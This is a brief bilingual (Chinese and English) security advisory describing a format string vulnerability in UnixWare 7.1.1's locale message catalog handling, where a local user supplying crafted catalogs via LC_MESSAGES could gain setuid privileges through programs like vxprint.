UnixWare7.1.1的信息目录库函数存在格式化字符串漏洞。本地用户可以通过修改LC_MESSAGE环境变量，读取其他setuid程序如vxprint中包含格式化字符串的信息目录，从而获取权限。

UnixWare is a commercially available Unix Operating System. It was originally developed by SCO, and is now distributed and maintained by Caldera.

A format string vulnerability in the locale subsystem could lead to a user gaining elevated privileges. A local user could potentially supply maliciously crafted message catalogs through the LC_MESSAGES environment variable. This could allow a local user to load arbitrary message catalogs into setuid or setgid programs, and execute arbitrary code with setuid/setgid privileges.
